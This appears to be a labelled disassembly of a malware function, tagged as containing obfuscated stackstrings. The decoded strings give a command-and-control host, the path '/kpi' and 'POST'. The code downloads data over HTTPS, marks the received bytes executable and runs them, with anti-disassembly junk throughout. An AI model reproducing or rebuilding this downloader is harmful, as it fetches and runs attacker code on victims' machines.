Function at 0x41c426
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push ebx
push esi
push edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
jmp 0x41c189
nop
nop
nop
pushal
jmp 0x41c1c3
popal
lea eax, [ebp - 0xac]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0xb0]
and ecx, 0xffff
mov word [ebp - 4], cx
mov dword [ebp - 0x20], 0
jmp 0x41c1f2
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0xd
jge 0x41c263
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 4]
sar ecx, 2
xor eax, ecx
movzx edx, word [ebp - 4]
sar edx, 3
xor eax, edx
movzx ecx, word [ebp - 4]
sar ecx, 5
xor eax, ecx
and eax, 1
mov dword [ebp - 0xb4], eax
movzx edx, word [ebp - 4]
sar edx, 1
mov eax, dword [ebp - 0xb4]
shl eax, 0xf
or edx, eax
mov word [ebp - 4], dx
mov cx, word [ebp - 4]
mov word [ebp - 0xa4], cx
movzx eax, word [ebp - 0xa4]
and eax, 0xff
cdq
mov ecx, 0x7e
idiv ecx
add edx, 1
mov eax, dword [ebp - 0x20]
mov byte [ebp + eax - 0xc8], dl
jmp 0x41c1e9
mov ecx, 1
imul edx, ecx, 0xd
mov byte [ebp + edx - 0xc8], 0
je 0x41c281
jne 0x41c281
push 0x654c6c45
ja 0x41c2ed
push edx
insb byte es:[edi], dx
inc esp
je 0x41c28f
jne 0x41c28f
push 0x654c6c45
ja 0x41c2fb
push edx
insb byte es:[edi], dx
inc esp
call fcn.0041c295
xor dword [esi], 0xffffff83
add dword ss:[esp], 8
ret
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c2a5
je 0x41c2a6
invalid
pop ebx
nop
nop
nop
pushal
jmp 0x41c2e1
popal
call 0x41c2e8
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
je 0x41c2fd
ret
jne 0x41c2fd
push 0x654c6c45
ja 0x41c369
push edx
insb byte es:[edi], dx
inc esp
push 0xe
lea eax, [ebp - 0x2cc]
push eax
lea ecx, [ebp - 0xc8]
push ecx
call fcn.0041bbe6
add esp, 0xc
mov byte [ebp - 0xa0], 0x73
mov byte [ebp - 0x9f], 0
mov byte [ebp - 0x9e], 0x65
mov byte [ebp - 0x9d], 0
mov byte [ebp - 0x9c], 0x72
mov byte [ebp - 0x9b], 0
mov byte [ebp - 0x9a], 0x76
mov byte [ebp - 0x99], 0
mov byte [ebp - 0x98], 0x69
mov byte [ebp - 0x97], 0
mov byte [ebp - 0x96], 0x63
mov byte [ebp - 0x95], 0
mov byte [ebp - 0x94], 0x65
mov byte [ebp - 0x93], 0
mov byte [ebp - 0x92], 0x2d
mov byte [ebp - 0x91], 0
mov byte [ebp - 0x90], 0x33
mov byte [ebp - 0x8f], 0
mov byte [ebp - 0x8e], 0x7a
mov byte [ebp - 0x8d], 0
mov byte [ebp - 0x8c], 0x31
mov byte [ebp - 0x8b], 0
mov byte [ebp - 0x8a], 0x65
mov byte [ebp - 0x89], 0
mov byte [ebp - 0x88], 0x62
mov byte [ebp - 0x87], 0
mov byte [ebp - 0x86], 0x6e
mov byte [ebp - 0x85], 0
mov byte [ebp - 0x84], 0x70
mov byte [ebp - 0x83], 0
mov byte [ebp - 0x82], 0x64
mov byte [ebp - 0x81], 0
mov byte [ebp - 0x80], 0x2d
mov byte [ebp - 0x7f], 0
mov byte [ebp - 0x7e], 0x31
mov byte [ebp - 0x7d], 0
mov byte [ebp - 0x7c], 0x33
mov byte [ebp - 0x7b], 0
mov byte [ebp - 0x7a], 0x31
mov byte [ebp - 0x79], 0
mov byte [ebp - 0x78], 0x39
mov byte [ebp - 0x77], 0
mov byte [ebp - 0x76], 0x35
mov byte [ebp - 0x75], 0
mov byte [ebp - 0x74], 0x38
mov byte [ebp - 0x73], 0
mov byte [ebp - 0x72], 0x34
mov byte [ebp - 0x71], 0
mov byte [ebp - 0x70], 0x30
mov byte [ebp - 0x6f], 0
mov byte [ebp - 0x6e], 0x30
mov byte [ebp - 0x6d], 0
mov byte [ebp - 0x6c], 0x39
mov byte [ebp - 0x6b], 0
mov byte [ebp - 0x6a], 0x2e
mov byte [ebp - 0x69], 0
mov byte [ebp - 0x68], 0x73
mov byte [ebp - 0x67], 0
mov byte [ebp - 0x66], 0x68
mov byte [ebp - 0x65], 0
mov byte [ebp - 0x64], 0x2e
mov byte [ebp - 0x63], 0
mov byte [ebp - 0x62], 0x74
mov byte [ebp - 0x61], 0
mov byte [ebp - 0x60], 0x65
mov byte [ebp - 0x5f], 0
mov byte [ebp - 0x5e], 0x6e
mov byte [ebp - 0x5d], 0
mov byte [ebp - 0x5c], 0x63
mov byte [ebp - 0x5b], 0
mov byte [ebp - 0x5a], 0x65
mov byte [ebp - 0x59], 0
mov byte [ebp - 0x58], 0x6e
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x56], 0x74
mov byte [ebp - 0x55], 0
mov byte [ebp - 0x54], 0x61
mov byte [ebp - 0x53], 0
mov byte [ebp - 0x52], 0x70
mov byte [ebp - 0x51], 0
mov byte [ebp - 0x50], 0x69
mov byte [ebp - 0x4f], 0
mov byte [ebp - 0x4e], 0x67
mov byte [ebp - 0x4d], 0
mov byte [ebp - 0x4c], 0x77
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x4a], 0x2e
mov byte [ebp - 0x49], 0
mov byte [ebp - 0x48], 0x63
mov byte [ebp - 0x47], 0
mov byte [ebp - 0x46], 0x6f
mov byte [ebp - 0x45], 0
mov byte [ebp - 0x44], 0x6d
mov byte [ebp - 0x43], 0
mov byte [ebp - 0x42], 0
mov byte [ebp - 0x41], 0
mov byte [ebp - 0x34], 0x2f
mov byte [ebp - 0x33], 0
mov byte [ebp - 0x32], 0x6b
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x30], 0x70
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x2e], 0x69
mov byte [ebp - 0x2d], 0
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x2b], 0
mov byte [ebp - 0x40], 0x50
mov byte [ebp - 0x3f], 0
mov byte [ebp - 0x3e], 0x4f
mov byte [ebp - 0x3d], 0
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0
mov byte [ebp - 0x3a], 0x54
mov byte [ebp - 0x39], 0
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x37], 0
jmp 0x41c548
jmp 0x41c54b
jmp 0x41c54e
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c557
je 0x41c558
invalid
pop ebx
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c562
je 0x41c563
invalid
pop ebx
jmp 0x41c567
jmp 0x41c56a
jmp 0x41c56d
jmp 0x41c570
jmp 0x41c573
jmp 0x41c576
push 0x100
push 0
lea edx, [ebp - 0x1cc]
push edx
call fcn.0041ba76
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.0041c0b6
add esp, 4
test eax, eax
jne 0x41c5a3
xor eax, eax
jmp 0x41cbec
jmp 0x41c5a6
jle 0x41c5b3
jg 0x41c5b3
call 0x60d25647
nop
nop
nop
pushal
jmp 0x41c5ed
popal
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c5f7
je 0x41c5f8
invalid
pop ebx
push 0x56b8
mov ecx, dword [ebp + 8]
push ecx
call fcn.0041bfe6
add esp, 8
test eax, eax
jne 0x41c615
xor eax, eax
jmp 0x41cbec
jle 0x41c622
jg 0x41c622
call 0x495435
add byte [eax], al
jle 0x41c62f
jg 0x41c62f
call 0x60d256c3
nop
nop
nop
pushal
jmp 0x41c669
popal
call 0x41c670
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
call fcn.0041c67d
xor dword [esi], 0xffffff83
add dword ss:[esp], 8
ret
jmp 0x41c687
jmp 0x41c68a
jmp 0x41c68d
push 4
push 0x3000
push 0x100000
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x174]
call eax
mov dword [ebp - 0x10], eax
push 0x100000
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0041ba76
add esp, 0xc
cmp dword [ebp - 0x10], 0
jne 0x41c6c9
xor eax, eax
jmp 0x41cbec
push 0x7dc8
mov edx, dword [ebp + 8]
push edx
call fcn.0041bfe6
add esp, 8
test eax, eax
jne 0x41c6e5
xor eax, eax
jmp 0x41cbec
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c6ee
je 0x41c6ef
invalid
pop ebx
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1a0]
call ecx
mov dword [ebp - 0x1c], eax
call fcn.0041c70e
xor dword [esi], 0xffffff83
add dword ss:[esp], 8
ret
cmp dword [ebp - 0x1c], 0
je 0x41c73b
push 0
push 0x1bb
lea edx, [ebp - 0xa0]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1a4]
call edx
mov dword [ebp - 0x18], eax
jmp 0x41c73e
je 0x41c74c
jne 0x41c74c
push 0x654c6c45
ja 0x41c7b8
push edx
insb byte es:[edi], dx
inc esp
jmp 0x41c74f
nop
nop
nop
pushal
jmp 0x41c789
popal
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c793
je 0x41c794
invalid
pop ebx
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c79e
je 0x41c79f
invalid
pop ebx
jle 0x41c7ad
jg 0x41c7ad
call 0x12a4534
cmp dword [ebp - 0x18], 0
je 0x41c7d8
push 0x800000
push 0
push 0
push 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1a8]
call ecx
mov dword [ebp - 0xc], eax
nop
nop
nop
pushal
jmp 0x41c812
popal
je 0x41c821
jne 0x41c821
push 0x654c6c45
ja 0x41c88d
push edx
insb byte es:[edi], dx
inc esp
nop
nop
nop
pushal
jmp 0x41c85b
popal
nop
nop
nop
pushal
jmp 0x41c896
call 0x4052194a
add byte [eax - 0x18], dl
ret
popal
jmp 0x41c89a
jle 0x41c8a7
jg 0x41c8a7
call 0x136462e
cmp dword [ebp - 0xc], 0
je 0x41c8d0
push 0
push 0x14
push 0x14
lea edx, [ebp - 0x2cc]
push edx
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1ac]
call edx
mov dword [ebp - 0x24], eax
jle 0x41c8dd
jg 0x41c8dd
call 0x4956f0
add byte [eax], al
jle 0x41c8ea
jg 0x41c8ea
call 0x11e4671
cmp dword [ebp - 0x24], 0
je 0x41c904
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1b0]
call edx
mov dword [ebp - 0x24], eax
je 0x41c912
jne 0x41c912
push 0x654c6c45
ja 0x41c97e
push edx
insb byte es:[edi], dx
inc esp
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c91b
je 0x41c91c
invalid
pop ebx
jmp 0x41c920
jmp 0x41c923
jmp 0x41c926
nop
nop
nop
pushal
jmp 0x41c960
popal
jle 0x41c96e
jg 0x41c96e
call 0x861cfcc5
invalid
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x41c977
je 0x41c978
invalid
pop ebx
cmp dword [ebp - 0x24], 0
je 0x41ca50
test ch, cl
add byte [eax], al
add bh, al
inc ebp
clc
add byte [eax], al
add byte [eax], al
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x1b4]
call eax
test eax, eax
jne 0x41c9a6
jmp 0x41ca50
push 4
push 0x3000
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x174]
call eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x41c9d0
mov dword [ebp - 8], 0
jmp 0x41ca46
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [ebp - 0x14]
push edx
call fcn.0041ba76
add esp, 0xc
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1b8]
call edx
test eax, eax
jne 0x41ca08
jmp 0x41ca50
mov eax, dword [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x28]
push edx
call fcn.0041ba36
add esp, 0xc
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0xa8]
mov dword [ebp - 0x28], eax
push 0x8000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x178]
call ecx
cmp dword [ebp - 8], 0
ja 0x41c983
call fcn.0041ca56
xor dword [esi], 0xffffff83
add dword ss:[esp], 8
ret
jle 0x41ca6a
jg 0x41ca6a
call 0xec29cc59
add eax, ebp
jmp 0x41ca6d
jmp 0x41ca70
jmp 0x41ca73
cmp dword [ebp - 0xc], 0
je 0x41ca88
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1bc]
call ecx
cmp dword [ebp - 0x18], 0
je 0x41ca9d
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1bc]
call ecx
cmp dword [ebp - 0x1c], 0
je 0x41cab2
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1bc]
call ecx
call fcn.0041cab8
xor dword [esi], 0xffffff83
add dword ss:[esp], 8
ret
jmp 0x41cac2
jmp 0x41cac5
jmp 0x41cac8
lea edx, [ebp - 0xc8]
push edx
call fcn.0041bab6
add esp, 4
push eax
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x1cc]
push ecx
call fcn.0041baf6
add esp, 0xc
jle 0x41cafb
jg 0x41cafb
call 0x60d25b8f
nop
nop
nop
pushal
jmp 0x41cb35
popal
je 0x41cb44
jne 0x41cb44
push 0x654c6c45
ja 0x41cbb0
push edx
insb byte es:[edi], dx
inc esp
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1cc]
push ecx
call fcn.0041bea6
add esp, 0xc
jle 0x41cb68
jg 0x41cb68
call 0x9883d4
add byte [ebx - 0x17adf7ab], cl
jo 0x41cb68
push 0x56b8
mov edx, dword [ebp + 8]
push edx
call fcn.0041bfe6
add esp, 8
test eax, eax
jne 0x41cb81
invalid
xor eax, eax
jmp 0x41cbec
jmp 0x41cb84
jmp 0x41cb87
jmp 0x41cb8a
jle 0x41cb97
jg 0x41cb97
call 0xff765128
invalid
lea eax, [ebp - 0xcc]
push eax
push 0x40
push 0x100000
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x17c]
add byte [eax], al
call eax
test eax, eax
jne 0x41cbbc
xor eax, eax
jmp 0x41cbec
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xb8], ecx
jmp 0x41cbc8
jmp 0x41cbcb
jmp 0x41cbce
jmp 0x41cbd1
jmp 0x41cbd4
jmp 0x41cbd7
call dword [ebp - 0xb8]
jle 0x41cbea
jg 0x41cbea
call 0x5ea18c21
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret